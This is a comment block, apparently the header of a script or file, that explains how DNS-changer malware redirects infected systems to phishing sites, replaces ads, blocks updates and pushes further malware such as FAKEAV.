#
# Once modified, systems use foreign DNS servers, which are
# usually set up by cybercriminals. Users with vulnerable
# systems or devices who try to access certain sites are
# instead redirected to possibly malicious sites.
#
# Modifying systems' DNS settings allows cybercriminals to
# perform malicious activities like:
#
# o Steering unknowing users to bad sites:
# These sites can be phishing pages that
# spoof well-known sites in order to
# trick users into handing out sensitive
# information.
#
# o Replacing ads on legitimate sites:
# Visiting certain sites can serve users
# with infected systems a different set
# of ads from those whose systems are
# not infected.
#
# o Controlling and redirecting network traffic:
# Users of infected systems may not be granted
# access to download important OS and software
# updates from vendors like Microsoft and from
# their respective security vendors.
#
# o Pushing additional malware:
# Infected systems are more prone to other
# malware infections (e.g., FAKEAV infection).
